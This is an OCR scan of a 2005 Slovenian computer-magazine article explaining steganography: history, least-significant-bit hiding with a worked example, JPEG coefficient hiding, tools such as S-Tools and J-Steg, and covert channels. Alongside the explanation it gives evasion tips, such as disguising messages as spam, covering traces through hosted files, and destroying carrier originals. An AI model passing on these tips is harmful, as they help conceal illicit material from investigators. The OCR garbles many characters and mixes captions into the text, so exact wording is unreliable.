MOJ MIKRO 1 JANUAR 2005

—

LR E

llustracija: Marko Skerlep

17




AKTUALNO
steganografija - skrivanje sporocil

IGRAJMO SE

V javnosti do razmaha
terorizma o metodi skrivanja
podatkov v nesumljive
datoteke ni bilo veliko
govora. Vec je bilo govora o
Sifriranju. Zadnje ¢ase pa je postala
priljubljena tema tudi steganografija.
Kako stvar deluje, kdo jo uporablja
in kako vemo, ali datoteka v sebi
skriva dodatno sporocilo?

PiSe: Marjan Kodelja
marjan.kodelja@mojmikro.si

teganografija ni nov pojem. O njej se je
v javnosti govorilo e pred skoraj deseti-
mi leti. In kaj je to? Steganografija ni ni¢
drugega kot metoda skrivanja sporo¢il v
druge dokumente. Te datoteke so obi¢ajne foto-
grafije, zvotne datoteke, besedilne datoteke in Se
kaj. Steganografija pa ni omejena le na ra¢unal-
nigki svet. Njeni zacetki namre¢ segajo dale¢ v
zgodovino. Znane so legendarne stvari, kot je na
primer tista, ko je neki rimski vojskovodja kurir-

Stara tehnika: skrivanje informacij znotraj notnega
zapisa. Gasper Schott je vsaki crki v abecedi dodelil
eno noto. Izobrazeni glashenik bi se verjetno zacudil,
a vecina ljudi tako ali tako ni znala in Se vedno ne
zna brati notnega zapisa.

ju obril glavo, na ko¥o vtetoviral skrivno sporo-
&ilo, pocakal, da so mu lasje ponovno zrasli in ga
odposlal na nalogo. Stvar je delovala toliko Casa,
dokler tega niso izvedeli njegovi nasprotniki in
so vsem ujetim kurirjem zaleli briti glave. Veliko
pozneje so se pojavile Se druge metode. Kdo $e ni
slial za skrivna sporocila, napisana s nevidnim
Ernilom. Se kot otroci smo pisali sporoéila, na-
pisana z limoninim sokom.

Z razmahom ra¢unalni§tva in $e zlasti pozneje
interneta, je steganografija dobila krila. Sporo-
&ila je mo¢ skriti vsepovsod, v razli¢ne datoteke,
v zaglavja paketkov v komunikacijskem omreZju
in $e marsikam drugam. Pojavila se je gora pro-
gramske opreme, ki bolj ali manj uspe$no skriva
sporoéila, hkrati pa tudi orodja, ki sporotila is-
&ejo. Znana igra, torej. Nov, boljii algoritem za
skrivanje sporo¢il, hitro povzro&i nastanek orod-
jaza njegovo odkrivanje. In tako v nedogled. Ve-
lja pa pravilo: kdor Zeli uspesno skriti sporotilo,
pri Cemer je seveda govor o razli¢nih drfavnih
sluzbah, kriminalnih zdruzbah in teroristi¢nih
organizacijah, napiSe svoj algoritem (program),
ki je znan le pes¢ici ljudi. Zato si bomo pogledali
nekaj osnovnih metod skrivanja sporo¢il v raz-
li¢ne tipe datotek, ki so splogno znani.

PSIHOLOGIJA SKRIVANJA - ZAKAJ SKRIVAMO?

Najveckrat skrivamo zato, ker vemo, da dela-
mo nekaj nedovoljenega oziroma nevarnega. V
racunalniku osumljenca za pedofilijo so na trdem
disku nasli polno slik — a vse so bile popolnoma
nedol?ne. Sele strokovnjak za steganografijo je v
teh slikah naSel skrite slike otrogke pornografije.
In osumljenec je postal obsojenec. Takih prime-
rov je v svetu ogromno. Od izdajanja poslovnih
skrivnosti konkuren¢nim podjetjem, vohunje-
nja, pranja denarja, pa do izmenjave sporocil
med teroristi. A vse le ni negativno. Poslovna
sfera se boji industrijskega vohunjenja in izda-
janja poslovnih skrivnosti, zato v zadnjem &asu
poleg Sifriranja sporo¢il uporabljajo tudi tehnike
steganografije in stegoanalize — ugotavljanje,

KRIVALNIGE

ali skrito sporotilo obstaja ali ne. S Sifriranjem
ni ni¢ narobe, vendar %e dejstvo, da je sporocilo
Sifrirano, lahko spro?i sume in poskuse razbitja
gifre. Programska oprema lahko samodejno zelo
hitro in z dovolj veliko verjetnostjo z analizo raz-
porejenosti posameznih simbolov ugotovi, kate-
ra sporotila so Sifrirana. Pri Sifriranih sporocilih
so simboli dokaj enakomerno razporejeni, pri
obicajnih sporogilih pa ni tako. Jasno je, da se na
primer v slovenskih besedilih veckrat pojavljajo
samoglasniki, kot recimo ?. Primerjava histogra-
mov kaZe na otitne razlike.

Steganografija je ozko povezana z varnostjo
sporo¢anja. Sifriranje je postalo obicaj pri posre-
dovanju obéutljivejsih informacij. Vendar taks-
no sporocilo pritegne veliko pozornosti, z dovolj
zmogljivo racunalnidko opremo in dovolj ¢asa je
mo¢ odsifrirati skoraj vse. Manj je opazno obi¢aj-
no sporotilo, ki na prvi pogled ne vsebuje ni¢ po-
sebnega (slikovna ali zvo¢na datoteka),vvendar
je znotraj njega tudi skrivno sporoéilo. Ce je to
$e Sifrirano, je varnost toliko vegja.

Pa tudi pri tem je treba biti dovolj previden,
saj Ze samo dejstvo, da komu kaj pogiljamo, lahko
povzro¢i sume. Recimo, da komunikacijo med
vami in vasim sogovornikom nekdo nadzira. Ce
ste mu doslej posiljali zgolj kratka sporotila, zdaj
pa mu zalnete posiljati ogromne slikovne datote-
ke, je to lahko sumljivo. Skrita sporogila morajo
biti skrita tako, da nihée ne posumi, da obsta-
jajo. Poglejmo si banalen zgled. Vi in va$ sogo-
vornik sta ljubitelja ribarjenja in zdaj, ko so na
voljo digitalni fotoaparati, si redno posiljata slike
svojih trofej. Ker to po¢neta %e dlje &asa, se ti-
stemu, ki vaju nadzira, te slike ne zdijo sumljive.
Zato so dober medij za prenos skrivnih sporoti.
Ce pa nadzorovalec ve, da vaju ribe niti malo ne
zanimajo, bo prej ali slej posumil, da tak$na ko-
munikacija skriva veg, kot se zdi na prvi pogled.
Pametno je treba izbrati medij, v katerega bomo
sporotilo skrili in obenem paziti, da skrivno spo-
ro&ilo originala ne pokvari prevec.

Dokaj pogost je tudi nacin posrednega ko-
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municiranja, pri katerem se sogovornika ne
pogovarjata neposredno in si ne pogiljata spo-
ro¢il. V tem primeru posiljatelj medij s skritim
sporocilom (datoteka, nedolno besedilo) odlozi
v kak¥no nedol?no novicarsko skupino, strernik
FTP, forum, blog ali kaj podobnega. Prejemnik
ga najde in prebere sporocilo. V tem primeru, in
tudi v prvem, morata oba sogovornika poznati
nacin, kako je bilo sporotilo skrito in kaksno
je geslo za izlu§&enje sporotila oziroma njegovo
desifriranje.

KAKO DOBER JE ALGORITEM?

Dogovoriti se morata kateri algoritem skriva-
nja bosta uporabljala in eventualno tudi katero
metodo Sifriranja. Steganografski algoritem je
matemati¢na formula, ki sporotilo zapise v izbra-
no nosilno datoteko in ga nato zna iz nje ponov-
no prebrati. Poglejmo si primer vsem Slovencem
znanega besedila, kjer skrijemo po eno ¢rko
sporotila v vsako vrstico. Pogiljanje nacionalne
himne drugemu predstavniku istega naroda obi-
¢ajno ne poraja sumov.

Prijatli ! obrodile so trte vince nam sladko,
ki nam o%iwlja %ile, serce ragjasni in oko,

ki wtopi vse skerbi, v potrtih prsih up budi !

Komi nar pred veselo zdravljico, bratje | &mo zapet ?
Bog naso nam dezelo, Bog %ivi ves slovenski svet,
brate vse, kar nas je sinov slovece matere !

V sovragnike ' s oblakov rodu naj na¥'ga tresci grom;
Prost, ko je bil ocakov, naprej naj bo Slovencev dom,
naj zdrobe njih roke si spone, ki jih Se teZe !

Edinost, sreca, sprava k nam naj nazaj se vmejo;
Otrok, kar ima slava, vsi naj si v roke seZejo,
de oblast in znjo ast, ko pred, spet nasa boste last !

Kaj lahko storimo? Lahko posljemo takino
besedilo, pri tem pa mora naslovnik vedeti, ka-
tere Crke sestavljajo skrito sporo¢ilo. V takinih
primerih gre za tajen algoritem, ki je enak ne
glede na besedilo. Kar dosti dela je, da najdete
primerno besedilo, kjer so &rke na pravih me-
stih. Obicajneje je bilo, da so se dogovorili za
stalno besedilo (na primer biblijo), nato pa so
si posiljali zgolj algoritem. Da ga sovra?nik ne
bi prebral, so algoritem e Sifrirali. V zgornjem
primeru bi bil algoritem za prebiranje skrivne-
ga sporocila lahko 29 (prva &rka sporotila je
29. po vrsti, ¢e ne upostevamo presledkov), 4,
6, in tako naprej za celotno skrivno sporo¢ilo.

Uspesnost algoritma lahko ocenjujemo na
ve¢ nadinov, obitajno pa se uporabljajo na-
slednji:

Koli¢ina skritih podatkov. Ve& kot je skri-
tih podatkov, boljsa je tehnika skrivanja. Pod
pogojem seveda, da vneseni podatki ne spre-
menijo originalne datoteke do te mere, da po-
stane sumljiva. Pri zgornjem primeru je jasno,
da je prostora za skrivanje bolj malo. Ce bi v
vsako vrstico skrili ve¢ kot zgolj eno &rko, bi
lahko skrili daljse sporocilo.

Zaznavanje skritih podatkov. Kako pre-
prosto oziroma tezko drugi zaznajo, da je v neki

datoteki skrito sporocilo. TeFje kot je zaznava-
nje, boljsi je algoritem. Obstaja dolo¢ena po-
vezava s prvim merilom. Obicajno je tako, da
vet kot je podatkov, laZje je zaznavanje. Ni pa
vedno tako! Tu pride do izraza tudi psihologija.
Pri zgornjem primeru bi bilo malo ¢udno, &e
bi PreSernovo Zdravljico posiljali svojim za-
veznikom, na primer, Svedom, ki ne bi znali
slovensko.

Pridobivanje skritih podatkov. Kako tetko
je iz datoteke izlustiti skrito sporocilo, tudi e
vemo, da je to prisotno. Ni dovolj, da tisti, ki
nekoga nadzira, tudi ve, da dologena datoteka
vsebuje sporodilo. Znati ga mora tudi prebra-
ti. Vec kot je ¢rk sporocila, skritega v eni sami
vrstici zgornjega primerna, la%je je pametnemu
sovrazniku dojeti, kaj smo hoteli sporo¢iti.

Ce bi namesto besedila v zgornjem primeru
posiljali sogovorniku zgolj algoritem, sovraznik
s tem ne bi imel kaj prida poceti, ¢e ne bi ve-
del, katero besedilo uporabljate. Ce bi besedilo
poznal, pa bi z lakoto prebral skrito sporogilo.
Malce bi mu otefili %ivljenje, e bi sporo¢anje
algoritma $ifrirali. Ne glede na to, da se tak3ni
nacini skrivanja sporocil danes ne uporabljajo
ved, pa nadela veljajo tudi pri bolj dodelanih
metodah skrivanja sporo¢il.

KAM IN KAKO SKRITI?

AKTUALNO
steganografija - skrivanje sporocil

rih pred oznako za zaletek datoteke (BOF) ne
vplivajo na delovanje. Na sliki lahko vidite
dol¥ine dveh dokumentov, napisanih z Wor-
dom. V obeh primerih je v dokumentih zgol;
besedica »pozdravljeni«. Word namreg, e je
tako nastavljen, izbrisanega besedila fizi¢no ne
umakne iz datoteke. To sicer ve& ni vidno, a je
Se vedno tam. Namesto izbrisanega besedila bi
bilo lahko tudi skrito sporocilo.

Dobra stran metode zamenjave je, da lahko z
njo skrijemo sporocilo poljubne dolZine. Slabost
pa, da poveda dol#ino datoteke. Ce imamo na vo-
ljo tudi izvirno datoteko, lahko kaj hitro vidimo,
da je nekaj narobe. Enako velja tudi za na$ primer
Wordove datoteke. Kdor jo bo odprl in videl zgolj
eno besedico, se bo zatudil njeni dol¥ini.

Metoda zamenjave

Tu algoritem nilesar ne vriva, pa¢ pa dolo¢i
posamezne bite podatkov, ki so manj pomemb-
ni (LBS) in jih zamenja z biti skritega spo-
ro&ila. Najveckrat se ta metoda uporablja pri
skrivanju sporodil znotraj slikovnih oziroma
zvocnih datotek. Ne deluje pa vedno in zgolj
na ravni bitov. Ze zgornji primer Wordovih
datotek lahko uporabimo kot zgled vrivanja.
Namre¢, obstojece podatke za EOF lahko za-
menjamo s svojimi.

Steganografske
metode lahko razde-
limo po dveh krite-
rijih. Prvi je mesto
skrivanja  oziroma
kateri je medij, drugi

Criginal

pa nadin skrivanja. Go197 194 191 187
B 204 1%38 189 185

Najveckrat  govori-
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5 shritirmi bt

194 181
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F 1 1
= |y

B: 204

mo o skrivanju v na
prvi pogled obi¢ajne
datoteke (slikovne,
zvocne ali besedilne),
sporocilo pa je mogoce skriti tudi na pomnilni-
Ske medije ali v [P-promet v omreZju. Ne glede
na uporabljeni medij se metode med seboj lo-
&ijo tudi po nacinu zapisa skritega sporodila.

Metoda vrivanja

Pri tej metodi algoritem preveri izbrani no-
silni medij in pois¢e podro¢ja, kjer lahko vri-
nemo dodatne podatke, ne da bi to vplivalo
na delovanje datoteke.

Datoteke niso vedno optimalne, to pomeni,
da je v njih lahko tudi ve& podatkov, kot bi jih
pri¢akovali. Na primer, vetina datotek vsebuje
oznako »konec datoteke« (EOF). Vsi podatki,

umesceni za to oznako ali v nekaterih prime-

Levo so posamezne pike originalne slike s 24-hitno barvno glohino, desno pa pike
s skritim sporocilom. Razlike so minimalne.

Kako metoda deluje, je najbolje pogledati na
primeru skrivanja sporotila v besedilno dato-
teko (raster BMP) z barvno globino 24 bitov.
V tem primeru je vsaka pika na sliki zapisana s
tremi zlogi (bajti), ki dolo¢ajo dele? barv RBG.
Vzeli bomo &tiri pike iz zgornje slike, tako do-
bimo 12 zlogov, v katera bomo skrili dvanajst-
bitno skrito sporocilo. Ker zamenjava poteka
na ravni bitov, bomo $tevilke zapisali binarno.

Ward
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10111111 11000101 11001100
10111100 11000010 11000110
10110101 10111111 10111101
10110000 10111011 10111001
=1 Nase skrito sporocilo je

. 100101111001. Zdaj za-

S dnji bit v vsakem zlogu

p— zamenjamo z enim bitom
b+ iz sporocila. Biti, ki so se

spremenili, so rdedi, celo-
tno sporocilo pa je v zeleni
barvi:

V obeh Wordovih dokumentih je isto kratko besedilo »pozdravljeni«.

Vidi se, da je dolzina datotek zelo razlicna.
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10111111 11000100 11001100
10111101 11000010 11000111
10110101 10111111 10111101
10110000 10111010 10111001

Zadniji biti v vseh devetih zlogih nosijo nase
sporotilo, spremembe pa so le na tirih mestih.
Pa tudi te ne vplivajo veliko, saj se barva posa-
mezne pike tako malo spremeni, da tega ni mo¢
opaziti (kar je lepo razvidno na zgornji sliki). Po-
dobno je tudi pri slikovnih datotekah z osembit-
no barvno globino (GIF), s to razliko, da lahko
vanjo shranimo manj podatkov, pa e negativni
u¢inki so lahko vegji. Tako skrito sporoéilo pa
je zelo obéutljivo na spreminjanje datotek. Sti-
skanje v format JPEG, na primer, tako zapisano
sporotilo unici. To pa ne pomeni, da v slike tega
zapisa sporoCila ni mo€ zapisati, le da se sporoti-
la ne skrivajo na ravni pik. Podobno velja tudi
pri zvo¢nih datotekah, kjer zamenjava manj po-
membnih bitov ne vpliva na zvok. Spremembe

Steganografski algoritem je matematicna
formula, ki sporoCilo zapise v izbrano
nosilno datoteko in ga nato zna iz nje
ponovno prebrati.

so tako majhne, da jih ¢lovesko uho ne zazna.
Orodje J-Steg skriva podatke v slike formata
JPEG. Tak nacin se od drugih kar prece;j razliku-
je. JPEG za stiskanje namre¢ uporablja algoritem,
s katerim odstranjuje podatke, ki so za ogled sli-
ke manj oziroma nepomembni. Stiskanju JPEG
zato pravimo »izgubno« (lossy), saj slika »izgubi«
dologene podatke oziroma so namerno izpuice-
ni, tako da se zmanjsa koli¢ina podatkov, ki jo
opisuje. Ob uporabi taksnega izgubnega stiskanja
(kompresije) bi bilo logi¢no sklepati, da se bo
tudi sporotilo, skrito v sliki, izgubilo in da for-
mat JPEG za skrivanje sporo&il ni primeren. A
snovalci programa J-Steg so se domislili nagina,
kako to izgubo prepreciti. Program uporablja za

GLEJ, PAPAJA V HIBISKUSU!

shranjevanje podatkov tako imenovane stiskal-
ne koeficiente. Kaj je to? Za razumevanje po-
stopka je potrebno malce teorije. Stiskanje JPEG
uporablja tako imenovano diskretno kosinusno
transformacijo (DCT). Stiskalni podatki so shra-
njeni kot cela tevila. Stiskanje samo zahteva kar
precej racunanja s tako imenovano plavajoto
vejico, konéni rezultat program zaokroZi bodisi
navzgor bodisi navzdol, da dobi celo stevilo. In
prav to odlotanje o zaokro¥evanju navzgor ali
navzdol uporablja J-Steg za skrivanje sporocila,
ki ga vstavi v obliki koeficientov DCT. Sligati
je dokaj zapleteno. In tudi je, pa tudi sporotila,
skrita tako, je dokaj tezko odkriti.

Dobra stran te metode je, da se velikost dato-
teke obicajno ne poveca. Slabosti pa so omejena
dol¥ina skritega sporotila, ki je mo¢no odvisna
od izbrane nosilne datoteke, mo?nost uni¢enja
sporotila pri spreminjanju datoteke (stiskanju)
in verjetnost, da bo vnos sporotila tako spreme-
nil izvirnik, da bo to o&itno Ze na prvi pogled. V

Malce smo se poigrali in skrili eno
sliko v drugi sliki. Uporabili smo
preprosto orodje $-Tools, ki podpira
skrivanje znotraj 8- in 24-bitne
grafike. Nosilna datoteka je slika
cveta hibiskusa, v katero smo skrili
sliko papaje. Prva slika je v dveh
formatih, in sicer formata GIF (8-bitna
grafika) in BMP (24-bitna grafika). V
prvem primeru je dolZina datoteke
1,3 MB, v drugem pa 7,5 MB. V obe
sliki smo skrili sliko papaje v formatu
JPG in dolZine 676 KB.

0¢itno je, da je z drugo sliko nekaj narobe. Ceprav je slika razmeroma velika, je v njej

veliko napak, ki kazejo, kako skrita slika pokvari original. Taksen rezultat ni primeren
in o¢itno je nekaj narobe. Dejansko smo skrili preveé podatkov.

Skrivanje v datoteko z 8-hitno grafiko
Sliko, ki jo vidimo na zaslonu, sestavljajo pike v razli¢nih barvah. Pri osem-

bitni grafiki je barv 256, zapisane pa so v barvni tabeli (paleti barv). Zapis pike
predstavlja en zlog (bajt), torej Stevilka med O in 255. Stevilka pove, katere
barve iz barve tabele je dologena pike. Orodje S-Tools zapise skrito sporocilo
v manj pomembne bite posamezne pike, kar pa pomeni, da se vrednost zloga
lahko spremeni, s tem pa se spremeni tudi barva pike. Da se zaradi tega ne bi
preved pokvarila kakovost slike, program najprej priredi barvno paleto tako,
daje v njej dejansko manj barv. Ce je barv le 32, vsaka pa je v tabelo zapisana
8-krat (skupaj 256 barv), lahko skrito sporotilo zapi$emo v zadnje tri bite posa-
meznega zloga. V naSem preizkusu smo namenoma pretiravali, tako da je mo¢
nazorno videti, kako lahko skrito sporotilo pokvari izvirno sliko. Pogiljanje
taksne slike lahko sproZi sume, da vsebuje skrita sporotila.

Pri takem skrivanju je zelo pomembno, da ne pretiravamo z dolzino skri-
tega sporocila, oziroma da izberemo primerno nosilno sliko, torej tako, kjer
morebitne spremembe barv dologenih pik ne vplivajo veliko na njen videz.
Se najboljie rezultate lahko dobite, &e uporabite &rno-belo sliko, kjer gre za

Primerjava: Nosilna slika, v katero
homo skrili drugo sliko.

20 MOJ MIKRO 1 JANUAR 2005




AKTUALNO

Ta metoda ni toliko
uporabljana kot gor-
nji dve. Njena velika
prednost je v tem, da
ne potrebuje medija,
v katerega zapise skri-
to sporo&ilo. Namesto
tega datoteko generira
na podlagi matrike

praksi se najve&krat uporablja skrivanje v forma-
te GIF oziroma JPG, saj so takine datoteke do-
volj majhne za posiljanje prek spleta.

Metoda generacije

(vzorca  ponavljanja
besed v angleftini,
zvoka, fraktala). V

zadnjem Casu so pri-
ljubljeni fraktali in
seveda  »odstekani«
zvoki, ki jih lahko
kaj hitro zamenjate s
ponorelo rave glasbo.
Pri tej metodi je treba
biti pazljiv do te mere,
da taksne datoteke ne

Generiranje fraktalne slike iz skritega sporoéila

steganografija - skrivanje sporocil

Toliko da se ve, kdo je avtor slike!

odtenke sivih barv in so razlike med njimi veliko
manjSe. Naga testna slika je zelo velika, vsebuje
veliko pik in s tem tudi mest za skrivanje. Se ne-
kaj je zelo pomembno. Ce bi vzeli sliko s skritim
sporocilom, jo zapisali v format JPG in nato nazaj v
GIE bi sporotilo izgubili. Skrivanje tako je namre
izredno obéutljivo na manipulacije z datotekami.
Enako velja tudi za naslednji primer, ko smo isto
sporotilo skrili v isto sliko, vendar zapisano s 24-
bitno barvno globino. Nekatera orodja omogo¢ajo
tudi izbor mesta, kjer naj se sporocilo shrani. Ce
imamo na sliki podrogje, kjer je %e v izvirniku ve-
liko pik razli¢nih barv, je to dobro mesto za skrito
sporocilo.

Slike formata GIF so poleg onih formata JPG
najbolj mnoZi¢ne v spletu, zato se tudi najved-
krat uporabljajo za skrivanje sporotil. Predvsem v
primerih, ko hotemo take datoteke komu poslati
prek spleta. Ker so te slika nateloma majhne, je v
njih manj prostora za skrivanje, zatorej so primer-
nejsa za krajsa skrita sporocila.

Skrivanje v datoteko s 24-hitno grafiko

Slike, zapisane v 24-bitni barvni globini, 5 141 05 181 158

so velike in obenem ponujajo obilo prostora ~ w1%71=L1ET 18T
. . . . T B M 198 18% 188

za skrivanje. Niso primerne za poSiljanje prek

spleta, lahko pa jih uporabimo, ko %elimo kaj

skriti v lastnem raCunalniku. Znan je primer

pedofila, ki je imel vse obremenjujoce slike

skrite znotraj obi¢ajnih slik.

Pri tako zapisani sliki je vsaka pika predstavljena s tremi zlogi, ki dolo-
&ajo vrednost barvnih kanalov R (rde¢a), G (zelena) in B (modra). Vsak
kanal ima svojo vrednost in skupaj tvorijo poljubno barvo, ki pa jih je lah-
ko skupaj 65 tiso¢. Skrivanje sporo&ila v taksno datoteko poteka enako.
Sporotilo program zapie v najmanj pomembne bite posamezne pike (glej
primer v glavnem besedilu). Nemogoce je dolotiti, katera zgornja slika je
izvirnik in katera ne. Tudi ko smo povetali slike na 1600 odstotkov in smo
videli posamezne pike, razlike med njimi ni mo¢ zaznati s prostim ocesom.
Sele primerjanje vrednosti posameznih zlogov poka¥e minimalne razlike.

Pri skrivanju ¢esarkoli v slike velja premisliti, kak§no osnovno slikovno
datoteko bomo vzeli in kako dolgo bo nae sporotilo. Prepricati se mo-
ramo, da se nova slika ne lo¢i od izvirne in da kot taka ne bo pritegnila

18
I Bl

¢ 16 183

|

Cisto nekaj drugega pa je skrivanje v datoteko BMP. !lazlika je vidna zgolj na bitni ravni. Povecali smo Stiri pike v
zgornjem levem kotu in napisali tudi vrednosti RGB. Sele tu je mo¢ zaznati minimalne razlike.

pozornosti. Orodij za skrivanje v slikovnih datotekah je v spletu mo& najti

veliko- najveckrat skrivajo v slike formatov GIE, BMP ali JPG, pri ¢emer

je metoda za slednje drugadna. Necesa pa ne smete pozabiti: ko skrijete

sporocilo v sliko in tako dobite novo sliko, morate original vedno uniciti.
|

Dodatni viri - Najuporabnejsi spletni povezavi, kjer najdete poleg teorije

0 steganografiji tudi povezave do brezplacnih in komercialnih programskih orodii, sta:
http://www.finaldownload.com/products/steganography.html

www.stegoarchive.com

Nekaj brezplacnih orodji najdete tudi na naSem MikroCD-u. Gre za preprosta orodja, s
katerimi lahko tudi sami preizkusite, kako stvar deluje. Za resnejSe uporabo pa bo treba
kupiti kakSen komercialni izdelek ali, Se bolje, razviti svoj lastni program.
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porajajo sumnicen;j. Je pa rezultat mo¢no odvi-
sen od kakovosti algoritma, ki lahko, &e je dovolj
dober, generira besedilo ali zvok, ki ni sumljiv
in morda deluje kot pristno sporocilo. Ce pa je
njegova kakovost slaba, lahko postane sumljivo
ponavljanje besedil brez repa in glave ali ¢udno
prasketanje v zvo¢niku.

Tehniki digitalnega »vodnega ¥iga« in digitalnih
»prstnih odtisov« (digital fingerprints) nekateri
uvri¢ajo med metode skrivanja podatkov. In &eprav
lahko s pomogjo nevidnega vodnega ¥iga skrijemo
kraje sporotilo, vodni ¥ig ni namenjen skrivanju.
Njegova poglavitna naloga je itenje pravic avto-

Sifrirana sporotila vzbujajo pozornost
in jih je moC z ustreznimi programi
hitro deSifrirati, zato v zadnjem ¢asu
za posredovanje obcutljivih informacij
pogosto uporabljajo tudi tehnike
steganografije  skrivanja sporoil.

rjev vsebin, ki kroZijo po internetu. Cilja sta dva:
vodni %ig mora biti vstavljen tako, da ne spremeni
originalne datoteke in da ga je tezko oziroma ne-
mogoCe odstraniti, ne da bi unicili datoteko. Pri
slikah mora biti %ig tak, da $e vedno brez tezav vidi-
mo celotno sliko, po drugi strani pa poskus njegove
odstranitve unici original tako, da ni ve& uporaben.
To, kar smo mi naredili pri gornji sliki, ni pravi vod-
ni ¥ig, rabi pa kot njegov primer. Se vedno vidimo
vse, kar je pomembno, vendar besedila iz slike ne
moremo odstraniti in jo »ukrasti«.

Med novicami v prej$njem Mojem mikru smo
omenili, da nekateri barvni laserski tiskalniki
na vsak izpis nevidno zapiSejo tudi svojo se-
rijsko Stevilko. Seveda zgolj zato, da bi lahko
ugotovili, kdo ponareja denar ali druge uradne
listine. Vendar bi bila tehnika uporabna tudi za
posiljanje skrivnih sporotil. Za kaj takega ali pa
za, na primer, CD-zapisovalnik, ki piSe na obi-
&ajno neuporabljena podrodja, je potreben po-
seg v strojno opremo naprave. Sami doma &esa
takega ne moremo narediti, ¢ manj pa lahko to
preberemo z obi¢ajno racunalnisko opremo. Ver-
jamemo pa, da so tudi tak¥ne naprave v kaksnih
skrivnih laboratorijih.

SKRIVNO KOMUNICIRANJE

Eno je skriti sporocilo v medij, drugo pa je
tako datoteko skrivno poslati. Pri neposrednem
komuniciranju se v zadnjem Casu uporablja 3e
ena metoda — spam. Ce Zelimo zakriti dejstvo,
da komuniciramo z dolo¢eno osebo, lahko taks-
no sporo&ilo posljemo na ¢im ve& naslovov in ga
tako zakrinkamo kot spam, med naslovniki pa
je seveda tudi tista oseba, ki ji je sporo&ilo na-
menjeno. Naslovnik bo vedel, kaj z njim storit,
drugi prejemniki pa bodo malce jezni! Pri ogrom-
ni koli¢ini spama, ki kroZi v spletu, je kar nekaj
opremljenih tudi s skrivnim sporo¢ilom. Med Ze
omenjenimi nacini posrednega komuniciranje je
mozna tudi objava datotek s skrivnim sporodi-
lom na lastni spletni strani. Ker je fizi¢na loka-
cija take spletne strani lahko tudi v stre?nikih, ki
prostora ne zaratunavanja, je z malce spretnosti
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V raCunalniku osumljenca za pedofilijo
s0 na trdem disku nasli polno obicajnih
slik, v katerih je Sele strokovnjak za
steganografijo naSel skrite slike otroSke
pornografije.

mozno zakriti vse sledi, ki bi kogarkoli pripeljali
do nas. Skrivno sporotilo lahko skrijemo tudi v
zaglavja paketkov, ki kroZijo po internetu ali
pa te zakrijemo tako, da se zdijo kot normalni
omrezni promet.

Naceloma lahko skrivanje v omre¥ju razdeli-
mo na $tiri nacine:

Skrivanje v prilogo sporo¢ila. V tem primeru

nosilno datoteko pripnemo sporoéilu elektron-
ske poste ali jo odloZimo na kaksnem spletnem
mestu (posredni nacin komunikacije: FTP-strez-
niki, forumi, spletne strani in podobno). Paziti je
treba, da tak§no sporotilo ni preveliko, da ni %e
na prvi pogled o&itno, da vsebuje skrito sporo-
&ilo. Za skritje sporogila uporabimo en program,
za posiljanje pa odjemalca elektronske poste ali
spletni brskalnik.

Skrivanje v prenosu. V spletu je mo¢ najti
programska orodja, ki najprej skrijejo sporocilo
v nosilno datoteko, nato pa to $e posljejo prek
izbranega nacina prenosa. Gre za podoben nacin
kot zgoraj omenjeni, s to razliko, da vse naredi
en sam program. Zgleda tak$nih programov sta
Invisible Secrets in CameraShy.

Uporabnost v modernem svetu

Najbolj globalno razvpiti in iskani terorist Osama bin Laden je ocitno najvecji »fan« stega-
nografije. Sele ko se je izvedelo, da tehniko uporabljajo ¢lani njegove teroristi¢ne organizacije
za prikrito medsebojno komuniciranje, se je o njej zacelo ve¢ govoriti. Tako naj bi, stvar ni
potrjena, slike leta 1998 napadenih ameriskih veleposlanistev v Afriki in navodila za napada
skrili v razli¢nih klepetalnicah, povezanih s Sportno tematiko, pornografskih spletnih straneh
in tudi na drugih na prvi pogled nesumljivih spletnih straneh. Manj znano je, da nekateri
ljudem »prijazni« reZimi celo prepovedujejo Sifriranje sporo¢il. To je kaznivo in vsakdo, ki
tak$no sporotilo poslje, ima lahko teZave. Saj veste, zakaj bi e re?im metal veliko davkopla-
Cevalskega denarja za razbijanje Sifer teh istih drzavljanom, ¢e jim lahko to pocetje preprosto
prepove. In po svoje so ravno potrebe »upornikov« po nevpadljivem naginu prenosa zaupnih
sporodil povzrocile, da so marsikatera uporabnej$a metoda steganografije in s tem tudi pro-
grami prisli v internet. Ce se bo nekot razvedelo, da je kaksno orodje razvila ameriska tajna
sluzba, danes pa ga uporabljajo teroristi, nas to vsekakor ne bo zadudilo.

Dandanes tehnik Sifriranja in steganografije ne uporabljajo zgolj negativci in drfavni organi,
temve¢ svoje mesto najdejo tudi v poslovnem svetu. Negativna plat je uporaba za namene iz-
dajanja poslovnih skrivnosti konkurenénim podjetjem s strani lastnih zaposlenih. Zaradi tega
se morajo v podjetjih zavedati obstoja teh tehnik in ne nazadnje znati zaznati obstoj skritih
sporotil. Ze sum je obi¢ajno dovolj, ni treba, da znamo taka sporotila tudi dejansko prebrati.
Ce obstaja sum, da zaposleni izdaja poslovne informacije, je dovolj, da ga oddaljimo od takih
informacij in morda malce bolj sledimo njegovim delom. Ce je res »izdajalec«, bomo prej ali
slej zbrali dovolj dokazov. Obe tehniki pa je mo¢ uporabiti tudi v legalne poslovne namene — v
komuniciranju s partnerji ali deli podjetja, pri ¢emer je bistveno, da taka sporo¢ila ne pridejo
na usesa tistim, ki jim niso namenjena. V tabeli smo zbrali nekatere tipi¢ne cilje komunikacije
in tehnike, ki jih lahko uporabimo, da bo komunikacija varne;jsa.

Gilji komunikacije Opis Katero tehniko uporabimo
Komunikacija z znanim naslovnikom | Bistveno je, da sporogilo dejansko prejme oseba, | Sifriranje
ki ji je namenjena.
Komunikacija ne sme biti Zagotoviti je treba, da nihce sporoila ni Sifriranje
spremenjena med transportom. spremenil, preden ga je prejel naslovnik.
Komunikacije prek »sovraznika« Ko ne moremo nadzirati poti sporogila in Sifriranje in
obstaja velika verjetnost, da bodo komunikacijo | steganografija

prestregli.
Ni pomembno, kdo vse lahko prestreze sporogilo, | Sifriranje
pomembno je, da ga lahko prebere zgolj oseba, ki
ji je bilo namenjeno.

Sporodila lahko prebere zgolj
naslovnik.

Nihée ne sme posumiti, da se dogaja | V¢asih je Ze dejstvo, da z nekom komuniciramo | Steganografija

nekaj ¢udnega. in si izmenjujeta Sifrirana sporocila lahko in posredno
sumljivo. V tem primeru je pomembno, da ni komuniciranje (FTP,
neposredne povezave med sogovornikoma. forum ...)

Ne Zelimo izdati pravega razloga
komunikacije.

Moramo vedeti, kdo je poslal
sporocilo.

Ko komunikacija samo po sebi ni sumljiva, Zelimo | Steganografija
pa skriti pravo vsebino sporocila.

Osnovni pogoj za elektronsko poslovanje. Vedno
lahko dokazemo, de je na primer narocnik
